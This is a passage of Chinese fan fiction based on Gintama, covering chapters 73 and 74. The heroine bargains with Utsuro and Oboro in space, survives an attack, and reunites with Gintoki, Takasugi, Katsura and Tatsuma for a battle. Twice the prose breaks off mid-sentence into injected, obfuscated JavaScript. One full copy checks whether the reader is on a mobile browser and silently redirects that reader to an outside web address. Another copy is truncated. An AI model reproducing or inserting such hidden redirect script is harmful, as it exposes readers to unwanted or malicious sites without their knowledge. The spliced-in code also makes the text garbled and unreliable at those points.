靠,都忘记了这家伙以前心眼就不太好,还记仇…… 坂田银时坐在树丛中,看着那个转身离去的背影,那个记忆里的坏小子一步一步离开他的世界。 “高杉队长,”黑子搔着头从转角走过来,“你有看到阿萤吗?我们说好一起弄最近的预算,可是不知道她跑去哪了。” 高杉下意识地回头去看,那边已没有人影。顿了一下,他哼道,“天黑前不见人的话,回来就罚她挥刀一千下吧。” “啊?好过分,我的手会断的。” 指控的嗓音从院门传来,阿萤小跑着进门,连声抗议,“我就在这里啊,黑子你倒是找一下嘛。晋晋,我成年已经很久了,门禁这种东西你们这些青春期荷尔蒙泛滥的小鬼才需要吧。” “谁像你老是乱跑。对了,你有看到一个怪人吗?”高杉跟着他们往房间走,忽然问道,“一个头发乱糟糟,发色跟银时差不多,蒙着脸看起来很颓废没什么精神,说话也没章法,但……感觉很熟悉的怪人。” 阿萤脚步一顿,“怎么样的?该不会是一身甜腻的草莓牛奶味道,啰啰嗦嗦一堆废话,浑身都是颓废大叔气息的笨蛋吧?” “这么说的话有点过分哦……你看到他了?”高杉摸着下巴,眉头轻挑,语调危险,“说吧,什么时候认识这种废柴一样又上了年纪连衣服都只套一半看着就是生活不能自理的天然卷大叔?” “晋晋,你也没放过他……”阿萤笑得有些幸灾乐祸,“没看到呢……不过,如果我看到的话,我会跟他说你觉得他是个madao~” “madao是什么东西?” “就是刚才所有形容词的汇总,是此生都不会用来形容你的词哈哈~”阿萤不怀好意地勾着他的手臂,她家晋晋大人哪怕上了年纪也是个有着致命危险吸引力的……男人。 不远处的树枝上,坂田银时看着那两个笑得有点欠揍的笨蛋,轻轻嗤笑一下,慢慢把眼底的所有温柔都收拢。随后,他转身跳下树枝,很快隐入树林中。 明日以后,请继续这样笑着走向未来吧……即使再也没有坂田银时这个人。 73.宇宙的心理攻防战 这个男人十分的好看,哪怕在这个宇宙的尽头,在天道众的大本营他的状况是屈居于人下,那身气势也完全没有下位者的卑微,反而有种耍着人玩的淡定和恶意。 可恶,被他装到了。 “虚大人,你说这些天人什么时候能进化一下外表,往你这边靠近一下,不要那么丑呢?”扯了扯他的斗篷,我小声地问道。 虚前行的脚步一顿,瞥了我一眼。还没说什么,那些耳尖的天人已经虎视眈眈地看过来,似乎都在等一个虚不在的机会杀过来。 “希望你这句话能坚持到我们下一次见面呢。”虚微微一笑,身影有些晃动。 我眼疾手快地一把抱着他,“别抛弃我啊,我可是为了你连三个武士都不要的。” 他扬起的手一顿,下一刻手刀落下,冲过来的天人瞬间身首异处。同一时间,我甩过长刀,狠狠地砍翻身后杀过来的另一个天人。 “啊哈~就知道你不会抛下我~”我眉眼俱笑,下一瞬冲力从双手环抱的人身上迸发,我机警地松开跃后。“不要那么害羞嘛~真的不用我帮忙吗?我对坐在柱子上的老人家也没什么仁慈之心哦~” 冷冷地看了我一眼,虚转身消失在眼前。那股压迫感犹在,原本围观的天人在我连续砍了十几人后也不敢轻易靠近。 “你在试探他。”胧从身后走过来,面无表情地挑破。 我叹口气,很认真地问道,“你不觉得他挺喜欢我的吗?” 他最后看我的眼神还挺欣赏的,因为我猜到并肯定了他想要做的事。 胧没有接话,看我的眼神有点无奈,“不过是因为同类才多了几分容忍。” 我当然知道这点,但虚向往人类,而我是人类,也是数百年来对他毫无恶意甚至亲近的人类。虚曾看到我知晓他一切后,刹那而生的念头,那可是比他更疯狂的想法,他一定很喜欢。 也许就冲着那一刻同频的想法,他并没有对我下杀手,直到现在也还没有。我也知道,在我看戏的同时,他也在看我的戏份。 不老不死……也就他这样认为了,呵。 这次我是一个人来到这里的,良子他们被我派去了另一颗行星上继续收集阿尔塔纳的能量,泽木必须去跟他们对接。他们是最后的希望,我不会让他们轻易踏入这里。反正,这里有胧,至少……他不会让我死在这里。 哎,其实真死了也无所谓,敢一个人来这里的我后续都安排好了,实在不行地球和人类就靠joy4了,反正是主角嘛。 我对生死的心态可谓越来越好了,人只要不负责任都能活得很爽。 看了一眼胧身上的伤,我挑眉笑了。 “有点可惜了,我还以为他们能干掉你。” 新幕府和天道众在我离开后便对真选组动手了,桂也混进这一次的事件里,跟近藤他们一起被关进监狱。万事屋和真选组的人合作前去营救,而胧作为天道众的杀手也率领奈落去了那个关押着近藤和桂他们的黑绳岛。 我还以为桂和银时不会放过他,现在看来胧是能留到最后了。既然这样,就别怪我不客气。 “他们已跟大人碰过面了。”胧冷冷地道,“你就不怕他们死在大人手中?要不是那夜兔小姑娘及时……白夜叉已不存在了。” “要成为英雄的主角可不会死得那么早。”高/潮戏份还没到,他们怎么可能领便当?别说他们,我笃定高杉也不会死,他现在应该在奋力从三途川游回来途中。 “你就那么相信松阳的弟子们?”胧沉默了一下,忽然问道。 废话,他们是我生命中的奇迹。 “当然。那你呢?胧,你来见我是监视,还是打算跟我合作?你应该知道,我一直在撩你~”我抱着手靠在玻璃窗上,笑着望向他。 虚让他跟着我,一方面是确保毁灭这些龙脉的进度,一方面估计是想要看我在做什么。就目前看来,胧的汇报多少有点放水,至于虚知不知道,我就不清楚了。 眼前沉默的男人隐约带着杀意,却让我无端想起来高杉……都是因松阳而扭曲又可怜的娃。虽然胧杀过我,但这一路以来,他护着我的时候也真的不少,矛盾的男人。既然来到我面前了,我便不可能让他继续跟松阳的弟子们为敌。 “当年你一念之差,让松阳消失,让你可爱的师弟们受尽痛苦,现在想要赎罪吗?所以忠于虚?”我好奇他的想法。 在我看来,胧的思维有点无语又可笑,他知道自己在做什么吗? “大人存在已经很久了……是因为我,他才会出走,成为松阳。也是因为我,才会消失成为虚。如果他想要的是毁灭……那么……” “用整个地球和人类给他陪葬吗?我不能认同,他真的是这样想的吗?”我竖起手指摇了摇,语重深长地道,“胧,松阳是一个哪怕是为了保护心爱的弟子也不过是毁掉别人武器震慑的仁者。他的理念和想法,并不是以这种杀戮来达到目的的做法。你也是隐约觉得矛盾的不是吗?不然你不会多次找上所谓被松阳选择的我。你向往着松下村塾的平静,下意识跟银时他们一样保护着我,所以就算是死,你也想以松下村塾大弟子的身份去死,对吧。” “但你还是选择了虚大人。”胧抬眸看着我,眸底带了抹质疑。 “是啊,跟你一样,十年前我选择了松阳的弟子,明知道松阳的决定却什么也没做。这一次,我选择虚。在我看来,松阳和虚不是同一人,但在某方面也是同一人。不是你那种效忠,而是真正地选择他。因为,我以前看书曾看到说人格是不会真正被杀死的,但可能会沉睡或者被其他人格替代……也许一切并不是我们看到的那样。” 十年前最后见到松阳,我便知道他的死志,在自己和学生之间,他选择了保护他们。我也是。 银时他们大概也能猜到,只是他们不会恨我,只会恨无力改变的形势和不够强大的自己。就算当时是我出手杀了松阳,他们也一样只会痛恨自己和彼此……他们三个从来不屑以仇恨别人来逃避自己的痛苦。 如今,他们已经有了新的羁绊,所以这一次,我选择松阳,也选择虚。这些只有胧知道,高杉被我骗了……我要毁灭的,不仅仅是世界,还有虚。或许,还有松阳……和作为封印命运的月见萤。 无论我能做到哪一步,我都要真正地结束虚数百年的痛苦,终结这种被称为命运的东西。 胧……他当年选择了师弟,而不是老师。除了遵从老师的意思,他也有是抱着松阳不死的期盼。所以后来,他选择忠诚于虚作为自己的赎罪。 “胧,你站我这边吧。我可是不会输的女人哦,让我来完成他数百年的夙愿。”我朝他伸出手,邀请道。 “真正的赎罪,从来都不是以死为目的去做什么事,而是活下来,弥补自己曾做过的傻事。死亡太过简单了,那只是逃避而已,活下去才是真正的赎罪。我相信同样作为松阳弟子的你,会明白这一切并不是你想要的赎罪。” 松阳选择了死亡,所以他说这一切都是他的错,他无法战胜虚,也无法战胜自己。我不知道自己能不能赢,但我有封印龙脉作为底气,怎么也不会太失败。 胧沉默了一会,沉声问道,“你到底想要做什么?” “跟我合作,真正地去救他们,让他们从当年那场选择中解脱。你的师弟们,还有松阳和虚。” 没错,这就是我最终的目标。毁灭世界,人类共同命运什么的,都不过是顺手。我要的,从来只有我在乎之人的未来。 “你的做法不也是杀掉他们吗?”胧眸色深沉地看着我。 “不一样的。我能做到毁灭地球也做不到的事哦,逻辑不一样。” “什么逻辑?” “不要跟女人谈逻辑,干就完事了!” “你根本就自己都说不清楚!” “少啰嗦,我不说也是心里门儿清的!” 我扬眉,指着他,自信地承诺,“总之,你的罪,你的命都交给我,由我来给他们终结!你不是一直在等我这句话吗?” 胧看着我,神色罕见地有一丝动摇。 我知道他会答应的,这么久以来,他一直在旁观我做的一切,等着我跟他坦白这个决心。尽管我不知道他为何执着我,但如今的我已经不会单纯觉得他多次救我并且帮我瞒着虚是因为松阳说我是家人了。 “别担心,听我的就是了,要是失败了,我就砍号重来!总之,我家的女人绝不会输!”我一定可以玩出我要的结局。 拿着刀,慢慢前行,在跟他擦身而过的瞬间极快地拔刀。 胧一动不动地任我砍下这一刀,鲜血四溅。 “别以为这样就算了,你刺我家晋晋那一刀,早晚让他亲自报回来。呐,别人的大师兄。”我甩过长刀上的血,冷冷地道。 才半响的功夫,他伤口上的浮现一丝黑气,慢慢愈合。 随后,他静静地望着我,“大人的血赋予我的重生,已经快到极限了。如果你想要做点什么,最好尽快……不然……” 我摸着下巴,凑近观察了一下他的伤口,啧啧地道,“二手的效果差了点……你这些年这样折腾,身体还能用就感恩戴德吧。” 不知道良子他们研究的东西对胧有没有帮助? 天道众由十二名天人组成,他们管理并能自由操纵宇宙各星球的阿尔塔纳能源,通过被称为‘钥匙’的手印。这个手印是天道众干部的认证,可以打开阿尔塔纳之门。 他们与虚之前就打成协议彼此利用。一方提供不死止血配合天道众研究,一方企图驾驭永生,实现宇宙范围的进化。彼此都知道各怀鬼胎,只是看谁棋高一着而已。 很明显,那些久坐高台的老人家输了,因为那些手印已经落在虚手中,在之前我们已利用这些手印消灭一些星球上的阿尔塔纳了。 春雨十二师团齐齐整整地炮口对着那些元老所在,在虚一声令下全部炮火集中轰向那个中心的位置,天道众核心所在。 这个世界癫得超乎我想象,抬眸望着密密麻麻的战舰,我真心地感叹,“下手真狠,想来你也很失望吧。” 不过我的话,是真的理解。还是那句话,要是我经历几百年虐待的话,一定拉着整个宇宙陪葬。 “费了这么多时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不听话的兔子,就该受到教训……至于你的那支队伍……将会跟第七个星球一起成为宇宙的烟火。” 心神俱凛,我猛地抬腿狠踢过去,手中长刀狂舞。 四周的建筑破碎跌落,激起滚滚烟尘。蔓延的烟尘被劈开,我用力砍下的刀刃被另一把长刀的刀锋抵住,眯起眼确认的刹那,我横踢过去。 下一瞬,那双淡漠狠戾的眸子破烟而出,大手抓住我的脚踝轻甩。就着踩在破石上的冲力,我反身攻过去。 他的招式很熟悉,跟那些在道场特训的记忆一样,但力度和夹带的气势完全不是一个等级。 “不错,比我设想中平静。”他脸色似有一丝赞赏,丝毫不理会被我砍出的伤口。 平静?不,我很生气,也很担心。但我知道,现在我一旦失控,只会让自己陷入险地。 刀刃刺进我的肩膀,直接把我撞进飞船的边上,我毫不犹豫地把刀往下刺进他弓步的大腿,左手极快地掏出良子按我要求做的袖珍型手枪,抵在他胸腹开枪。 “人类……还真是让我惊讶呢……垂死之时总有那么大的爆发力。” 那是足以让神威倒下的麻醉药,但好像对他影响不大。 阿尔塔纳产出的,就是这样的怪物吗?这还不是在地球呢! 让我怎么赢啊……恍惚间,名为绝望的东西突袭我的所有感觉。 大手瞬间掐上我的脖子,呼吸骤然被中断,我眼角欲裂地瞪着他,很奇怪,方才的绝望因为这种困境瞬间消散。求生的本能让我很快清醒过来,挣扎着拿起刀想要刺进他心脏位置。 但在刀尖碰上他胸口的那一刻,我停下了动作。 杀不掉的,在这里不可能杀掉他……既然这样,就不能在这个方向死磕! 这一局,只能靠运气智取……我不能在良子那边未确定的时候先放弃自己。 放弃般垂下手,我头靠在他肩上,笑着哑声道,“虚,你不了解人类,哪怕你数百年来看着人类不停进化,你依然不了解人类。因为你遇到的人类,都不怎样……你只看到人类自私,懦弱,贪婪……但你不知道,人类同时也是坚强,勇敢和善良,他们会克服天性的恶劣。而且他们是群居的生物,当面临巨大危险的时候,就懂得学会团结和反抗,学会自救。” “哦?”他像是听到什么笑话般,眯起了眼。 “我也一样,不管没有我的平行世界是怎样让你安息,但在这个世界……约好了,只要我在就会终结你。你想要看到的,不是在我的意识里都看到了吗?你知道……我能做到。”我如同承诺般轻语,笃定地看着他。 当然,我也是赌一把而已,赌命运站我这边。但他眼底的东西还是被我捕捉到了……看吧,把我带到这个世界,总不会就为了让我在这里领便当吧。 虚那双狠戾的眸底划过极浅的疑惑,随即甩开手,我直接飞了出去,跌落在碎石上。 吃力地张开眼,血和泥尘让我的视线有些朦胧,只依稀看到他举起手站在了我的面前。 随后,他挥了挥手,无数的炮火朝这边开火。 完蛋了—— 74.该相逢的终将相逢 睁开眼就看到胧那张死人般的脸,多少有点晦气。但他的脸色比我还白,我也不太好意思表达我的不满。 “你救了我啊……厉害哦,春雨十二个师团都拦不住你?”我记得昏迷前好像被十二个师团围剿。 “大人他……最后放过你了。”胧低声道。 啊哈……病娇还是输给了内心的野望吗? 真是让人意外,我搞不懂疯子的想法,但是还活着的感觉还挺不错。 我动了动身体,没什么伤痛,肩膀的刀伤也愈合的七七八八了,倒是脖子上的青黑比较吓人。 “我这身体跟你好像也没啥差异,难道我真的是二手?”这样说也不对,我本来就是二手……原来的月见萤才是一手。 “你已经睡了好些天了……真的很奇怪,不像是跟我一样接受了不死之血,但也不像是普通人。可能,你跟大人真的是同类也不一定。”胧对我的情况也有疑惑,“所以大人最后还是没杀你。” 我打量一下,这是一艘飞船,隐约有晃动,“我们还在宇宙中吗?” “难道你觉得自己睡到回地球了吗?”电子门忽然打开,一个熟悉的身影走了进来。 “黑子?”我吃惊地看着他。 他不是跟泽木去对接良子他们吗?怎么会在这里? 黑子叹口气,“我们在半路上收到阿伏兔的信息,说是遭到了春雨的背叛,有个十分厉害的人攻击他们,神威团长还直接杀进对方的船了……进春雨我们本来就是借着第七师团的名头,现在他们都被算计,那你肯定出事。所以,我跟泽木分开行动,我回来支援你。” “咱们没死真是命大。你说你回来又能怎样?他要是真想要杀我,你也只能给我陪葬了。” 虽然最后虚放过了我,但……讲点道理的话,黑子不应该回来。 “白痴,我要是没来,你哪里有飞船可以逃?”黑子比我更不爽,脾气温和的他难得黑脸,“你知道我们为了把你带出来费了多大功夫吗?” 确实,飞船有些破损,好几天了胧身上还有深浅不一的伤痕,黑子也绑着绷带伤得不轻,看来是一番苦战过的。 我识趣地露出感恩的笑容,“谢谢了……对了,晋晋没事吧?” “坂本队长在危急时赶到支援,但跟他们失散了。之前万斋大人有说过他们在烙阳的据点……现在大家都往那边赶了。” 黑子顿了一下,忽然笑了起来,有点幸灾乐祸的意味,“银时大人,桂大人和坂本队长一起往那去了,而且信女小姐和坂本队长已经把你在春雨干的事都给他们招了,桂大人和队长都被银时大人狠狠揍了一顿呢,也不知道还活着不。你就庆幸现在这艘船的通讯设备坏掉了吧,不然你就要被骂死了。” 这是点我吗?我自觉没做什么坏事啊……反正我不插手,虚也会挑起地球跟宇宙的战争,我不过是利用其中的便利做些准备而已。但是不知道为什么,看到黑子这种表情我有点心虚。 “我们现在也往那边去吗?泽木和良子那边呢?”我咬着唇,期盼地问道。 黑子摇摇头,脸色凝重,“失去了音讯……最后的消息确实有交战的声音。只是……不太清楚是否团灭了。” 真是防不胜防,我已经趁着虚围剿天道众的时机让他们远离了…… “别太担心,泽木他们被追捕了十年,逃跑很有一套。我总觉得他们还活着,毕竟挽救地球的关键就在他们那里,良子他们对武器研发很有成效,虚和春雨的主力当时还是在天道众大本营这边,小喽啰不一定能干掉他们。”黑子拍拍我的肩膀,安慰道。 我看着外面漆黑一片的宇宙,轻轻点了点头。 高杉和良子他们一定要没事,不然我直接就找上神威,重新来一次算了。 绑着绷带的手握了握拳,我失笑,每次都这样安慰自己,但实际上…… 再来一次的话,我所遇到的joy3,松阳,辰马,所有的人,还是如今那些爱护着我,跟我结缘扎根于生命里的人吗? 就如同27岁的坂田银时再怎样努力,平行时空的那个成为白诅源头然后死于他手的坂田银时也无法活过来一样。再次相遇,再次结缘的,已经不是现在的这些人了。 这样还有再来一次的意义么? 我把手贴在玻璃窗上,在漆黑的宇宙中看到自己慢慢露出笑容的倒影,“还是再可以拼一下的,加油,我们家的女人绝不认输。” 小飞船的动力跟别人的大部队果然不一样,途中还遇到春雨部分残留的攻击,拖了不少时间。等我们赶到的时候,烙阳的大战已打到尾声了。 春雨那几个师团的主力船都有破损,看来已经交过手了。 我站在船头,越过炮火和无数的乌鸦,看到山崖那边四道熟悉的身影。 看吧,该相逢的人们,总会在人生的路上相逢,所以即使离别也不必遗憾,只要期待未来便可。 在那么多年之后,这群咋呼的笨蛋们还是再次聚在一起了,虽然脸色还是别扭,也很嫌弃彼此,但总比之前充满仇恨顺眼多了。 “呐,胧,我现在想要的都在那里了。”世界怎样好像也无所谓,只是……他们在乎,而我不能再让他们做一次那种选择了。 被另外三人压着吐痰的辰马第一个发现了我,惊喜地朝我招手,其他人也看了过来。 我收回思绪,灿笑着从船头跃下,“家人们~我来join你们了~” “阿月~”顶着一身痰的辰马张开手打算来个拥抱。 直接地踩在那张帅气的脸庞上,我借力蹦了一下,扑进高杉怀中,“晋晋,你没事太好了~” “啊——你悠着点,晋助大人刚醒过来而已!” 在又子暴躁的指控中,被我撞得退了两步才站稳的高杉冷哼一声,不情不愿地拍拍我的背,“总不能放过在你坟头打架的机会……不是吗?” 啊哈……差点忘了这家伙记仇,看来死过一回是真的恢复几分当年性子了。眼睛的绷带解开了,心结也是,我所熟悉的那个高杉终于回来了。 “欢迎归来,晋晋~”我皮皮地笑了下,还没反驳便被拎住了领子甩出他怀抱。 “感人至深的重逢就到此为止了,你这个混蛋……瞒着老子都干了什么混事啊?”坂田银时阴恻恻的声音从身后传来。 我奋力朝高杉伸手,结果他默默地转了个头……呵,男人! “啊哈哈……你们对辰马做了什么才对,随地大小吐多不卫生啊?小时候不是教过你们要拿纸巾包住痰然后丢垃圾桶的吗?”我有点心虚地踢了踢被我踩进地里的辰马。 “就是啊,他们好过分,我不过是尽职地翻译他们的话而已……”辰马顶着一脸的痰和血仰起头,不忿地指控。 “面对面还要翻译,你们三个幼不幼稚啊?”我斜睨着他们。 高杉和银时,桂不约而同地偏头,对上视线,随后各自不屑的别过头。 “你翻了什么?他们刚刚说什么了?”我好奇是什么话让他们这样糟蹋辰马。 “金时他想跟晋助fOck……”辰马没说完就被高杉和银时踩进地里,已经没顶了。 我死鱼眼瞪着他们,挑眉,“哼,我就知道,你们才是真爱……痛!” “阿萤,真话不要随便说出口……痛!”桂叉着腰附和的话没说完就被一拳揍下,头上多了个跟我一样的包。 “别扯其他,老子还没审完,你丫的在宇宙都干了什么蠢事啊!”银时张手抓着我的头,咔咔地扭过去,逼着我直面他那张夜叉般的黑脸。 “我做什么了吗?我什么也没做啊?”我以一生的人品摆出最无辜的脸,大眼眨了眨,单纯无害得很。 “别想着萌混过关啊!弃明投暗跟着那个人到处毁灭星球,凶残地球人影子杀手的名号都传遍宇宙了……你很行啊……月见萤!” 银时沉着声,红眸都紧缩起来,眸中燃起怒火,手指用力抓得我脑壳疼,“你早就知道那个人了是吧?上次被揍进医院就是他干的对吗?你有没有人性啊,身为受害人知道凶手是谁还栽赃给那两个天X宝宝!” 他眼神如利刃般锐利,压低的嗓音透着冷冽,额际青筋暴起,却极力克制着自己。他说的每个字都很重,我一时间也抓不准他最在意的点。 “不不不,”我顽强地申辩,调整了角度让自己看起来楚楚可怜,星星眼看着他,“除了那个人,其他的我都不承认,外头都这样传的吗?不是我,我没有……影子杀手什么的我不认识!我就是卧底了个宇宙级别的多元化组织,做了一些科学研究,取得了一点点科研成果而已……你都不知道,这个过程中我有多害怕……” “闭嘴!你个宇宙级别的恐怖分子!” 听不下去的高杉和银时同时吼道。 太讨厌了,他们在训我的时候特别默契!不是仇视对方并且分开十年了吗?怎么现在默契还那么好? “我不是!太过分了,我一个无助又柔弱的女人为了你们卧底这种组织,好不容易逃出来,你们不安慰就算了,还污蔑我!” 我撩起第七师团统一的功夫袍下摆压了压眼角,努力做心碎状。 “阿银倒是想污蔑你啊,不但加入宇宙海贼团毁掉别人的星球,还抢掠、高价垄断资源获取暴利,把人家星球的人赶走……你自己说说,哪件事是无助又柔弱的女人能做的?” 银时揪着我衣襟喷了过来,那脸色简直就如同老父亲看到孩子误入歧途一样,把我摇了又摇。 桂的良知仍在,想要阻止一下他的暴力,却被银时一个转头狠狠瞪得瑟缩了两步,只得给我一个自求多福的眼神。 “才不是!都是造谣!我就是顺手做了些合法又有利润空间的生意而已,他们的命都是我救的,我把物资卖给他们了,赚点差价不是很正常吗?而且……我都是笑着送他们走的!”我义正辞严地申辩。 那些人造谣太过分了,星球都要爆炸了,他们不走就是死路一条,我把人送走也是救他们的命啊。物资本来就短缺,他们需要,我作为商人卖贵一些怎么了?我又不是抢的! 辰马就很理解我啊!数钱的时候他还说我们做了一件有利宇宙的功德大事呢。 啊,刚刚就不应该把他埋了,一个帮忙狡辩的人都没有。 捂着颊,我扁嘴委屈地瞪着他们,这段日子我的心理压力也很大啊,以整个地球为赌注什么的,还要应付那个病娇大反派。 “你们光顾着骂,都没看到我受了多重的伤吗?春雨十二个师团主力的围剿啊,你们刚不是对战过他们吗?他们可厉害了,我差点就死在那里了……你们一点都不关心我!” 我指着脖子上绷带,再不让他们看看就要痊愈了。 高杉叹口气,伸手揉揉我的头,“不是说了等我解决掉他再一起干的吗?” 我不太想提醒他,这人不但没解决银时,还睡到了现在。他大概也知道说错了,脸色微僵。 银时毫不理会他的迟疑,一下拍开他的手,面目狰狞地揪着我低头喷道,“你到底无感到什么地步啊?还笑着送人走……你知道自己那种笑容有多恐怖吗?你个抖S!” 哪有?我自信自己温柔漂亮,亲切随和,跟S是拉不上关系的! 我朝新八挑眉笑了笑,新八一窒,惊恐地骑着定春往后退了两步,定春的逗号眉都拧成了八字眉,那前爪都塞嘴里了! 很好,受到打击了,一定是最近笑得太多有点假。 我摸了摸自己的脸,“哎呀,做都做了……晋晋和假发也有份呀,干嘛只骂我……我长得像是主谋吗?” 银时极其忍耐地挑着眉头给我一个肯定的眼神,我悻悻地拒绝他的肯定。 “不是假发,是桂!”桂抱着手很自豪地笑,“哼哼,跟高杉这个一路睡过来的和银时这种什么都不知道的不一样,我可是把地球的势力都集中了。” 说罢,桂给了我一个胜利的手势。 我刚想回一个,脑袋又被抓住了,咔咔的转了过去,又对上银时那张阴沉的快要陷入阴影的脸。 “还没跟你算完账……辰马泽木他们跟你从来是一伙的,高杉毁灭世界目标跟你一致也就算了,凭什么假发也可以加入,就因为他算计了真选组那群蠢货?月见萤你个混蛋……亏我以为这边没空时他们能稍微管着你,结果你们一起胡闹去了……合着你们就排挤阿银一个?昂?” 说着,那双红眸都要冒出火光了。 银时揪着我的衣领,咬了咬牙,声音低哑又压抑,“对你们来说,阿银就只是万事屋的阿银吗?” 这话什么意思?这么复杂的事情是他那脑子能想的么? 我有点意外地看着他明显带了丝委屈和受伤的眼神,为他的脑洞叹口气。 “不,我完全没想这么复杂的东西。对我,不,对我们来说,你是万事屋的阿银,也是我们松下村塾吉田松阳的弟子坂田银时。”我笑了笑,爽朗地拍拍他的头,“只是因为……没办法,签了不生气契约的就只有你嘛……这个设定不用白不用啊。” 他一噎,眼底一扫刚才的委屈与忐忑,双手举起手指慢慢卷曲握拳,气得仰天长啸,“啊啊,好想把你送去三途川啊混蛋!” 怎么,坂田银时很想要参与毁灭世界的行动吗?那我成全他! 为了生命安全我立马妥协,一脸信任地看着他,“哎呀……不然你说现在怎么办嘛,leader~” “谁是leader啊?不要做了这些事后就把罪名和烂摊子推给别人啊混蛋!什么不好学你学假发!”银时想也不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384316|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地拒绝。 我无语,不是他想要参与么?做leader还不行吗?这么挑剔的男人真的很让人无奈,不哄了,爱咋咋滴。 “够了,自己以前犯的蠢怨不得别人。”高杉不屑地哼了声,见他这样抓狂更是毫不掩饰自己的幸灾乐祸,顺手把我拉到他身边。 “闭嘴!明知道这混蛋一个人就光干蠢事,你们还放她一个出去宇宙浪!”银时怒其不争地指着高杉和桂两人,“指望你们有个屁用啊!” 这话说得仿佛他自己就能管住我似的,我撇唇别开眼,不太想提醒他平日我们住同一条街,但他硬是没发现我的事业。 这家伙从攘夷时期起就一直把我当弱鸡,现在也还是。 高杉眼轻眯,想也不想一刀劈了过去,银时咋呼着跳开。懒得看他,高杉转头问我,“呐,卧底这么久,有什么成果?” “他!”我恨不得略过之前所有话题,连忙一把扯过身后披着斗篷的胧,掀开帽子露出他的脸,“现在是我小弟了~” 胧警告般睨了我一眼,但是也没反驳,因为我之前就跟他说松阳所有的弟子都是我小弟,而他信了。 好歹不久前还直接敌对厮杀过,银时等人看到胧的脸瞬间进入紧绷状态,眼神凌厉地看过来,听到我的话后顿时傻眼。 “你是说他……被你策反了?”坂田银时颤抖着手指,语气和表情均一言难尽。 “对啊,我厉害吧~”我双眼扑闪地求赞。 “厉害……啊呸!”银时一个箭步上前狠狠地揍在我头上,大手一指远处不停攻过来的奈落,“你倒是把那些乌鸦都策反啊!” 我痛得想哭,这家伙不能明着生我气,把怒火都集中在拳头上了! “那太麻烦了,你没听过擒贼先擒王吗?”我搭着胧的肩膀,指着远方,“上啊,胧,我们家的男人绝不认输!” “他是哪门子的我们家啊?”joy3,暴躁严拒脸。 嘭嘭嘭的三个拳头揍在我头上,只有桂随手给我揉了揉。 银时和高杉脸色冷然,警告地瞥了我一眼。 胧眸色微沉,没有说话,伸手扶了我一把。 “他是哦。不过现在不是说这个的时候……”我抱着头委屈地扁扁嘴,指了指远处。 那边的奈落已经攻到眼前了,陆奥和黑子,万斋以及他们带来的人已动起手了。 高杉看了眼战况,随手抽起一把刀丢给我,偏头朝银时道,“这里交给我们,你该去的战场,不是这里。” 银时一愕,别开眼有些不自然地嗤道,“说什么傻话……就你们几个连她都搞不定吧。” 我看着这几个人,忽然有种圆满的感觉,“呐,银时,我想要的东西,都在这里了。所以,去把你的新家人,把我们的新希望带回来。不是说了吗,你是松下村塾的坂田银时,也是万事屋的阿银。上吧,我们家的男人可不能认输哦~” 那边的战场打得石破天惊的,我在飞船上已看到神晃父子的身影了,当然还有虚的。神威的变态我是有点点责任的,也就一点点而已。虽然刺激他最多的除了那个不靠谱的秃子,就是我了吧。 高杉与我相视而笑,他的想法跟我,跟大家是一样的,“快走吧,我方才救那小子不是为了你。” 新八微微一惊,旋即眼神坚定地朝银时伸手。 “别磨蹭了,我们可不会输给你们。Leader一定在等着你了。”桂扬眉道。 “你们……也给老子等着!”动容地看了眼我们,银时咬了咬牙,握着新八的手翻身跃上定春的背,往阵阵声响的地方跑去。 我看着他们远去的背影,莫名有种酸涩。 被桂从地里拉出来的辰马朗笑着把手搁在我头顶,安抚般轻轻拍了拍,“啊哈哈……这副老妈子送行的表情要是被金时看到了,又要揍你了哦~” “啊!辰马你个混蛋,把痰蹭我头发了!”啥伤感顿时消失,我气得狠狠踢过去。 “别闹了,现在轮到我们了……”高杉一甩手,厉声喝道,“鬼兵队听着,把这些乌鸦尽数歼灭——” “哟西~胧,我们也上了~” “啊哈哈哈,啊哈哈哈哈,假发,我们也不能输啊!” “正有此意!” 跟随着这些人,我持刀杀了上去,那种拼杀的感觉秒回昔日战场。心头跃动的不是恐惧和害怕,而是怀念和兴奋。就算是挥刀到手臂发酸,砍人砍得沾了一身鲜血,我也毫不在乎,甚至消极地想哪怕死在这种场面也算轰轰烈烈。 看吧,我不喜欢这个世界,但我喜欢他们,为了这些人,我可以努力去改变世界。 “阿萤——” 高杉的声音骤响,我猛地抬头,几个奈落越过前方的人,不在乎他们的刀砍在自己身上,不管不顾地往我扑了过来。 手腕翻转,把刺过来的长刀打飞,锋利的刀尖已迫近我的眼球。 下一瞬,世界在我眼前翻转,身体被护进陌生的胸怀,胧连带着我一起撞向一边。 嘭嘭的枪声不断,桂在辰马的枪击掩护下飞快地朝我们跑过来,砍翻了袭来的奈落。我们三人持刀而立,看着奈落们夹杂在春雨的天人部队中不断涌过来。 “啊啦,阿萤,你又招惹了什么风流债么?这个程度,是始乱终弃了吧。”桂利落地挥刀,笑着嚷了过来。 我从敌人尸体上拔出长刀,刚想反驳,却发现倒地的人忽然又睁开了眼,一把抓住我的脚腕狠甩。我还没反应过来已经跌落在石头上,顺势翻身滚了两圈,原来跌落的地方已经插了几柄刀。 “卧槽,我真的招惹他们了吗?”看起来目标是我啊…… 我脸色慢慢凝重,敌人里头,有些情况跟胧差不多。 一个抬头,随手解决掉几个天人的胧朝我点了点头,厉声跟前方的同伴同步消息。高杉想也不想地下了撤退的命令,他和桂开路,辰马和我,胧殿后,默契地带着大家一起往前跑。 随着大伙撤退,胧的脸色越来越难看,“看来……大人是对你下杀令了。” 